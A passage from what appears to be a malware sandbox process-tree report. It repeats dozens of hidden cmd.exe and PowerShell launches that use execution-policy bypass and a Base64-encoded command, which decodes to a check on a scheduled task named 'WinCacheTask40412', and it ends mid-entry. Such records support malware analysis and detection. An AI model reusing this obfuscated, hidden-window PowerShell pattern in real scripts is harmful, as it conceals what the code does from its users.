                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:3252
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4408
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:3296
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4468
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:3836
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1776
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:5456
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3832
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:1864
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5992
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:992
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5104
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:2684
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4944
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:2904
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:796
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:5440
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1760
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:4440
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5748
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:2624
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2768
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:4368
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3324
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:2652
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:920
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:5148
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3900
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:2280
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3028
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:864
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5292
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:4320
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2564
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:1152
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5564
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:2752
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5168
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:1620
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2756
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:2808
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFMAdABhAHQAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5700
              • C:\Windows\SYSTEM32\cmd.exe
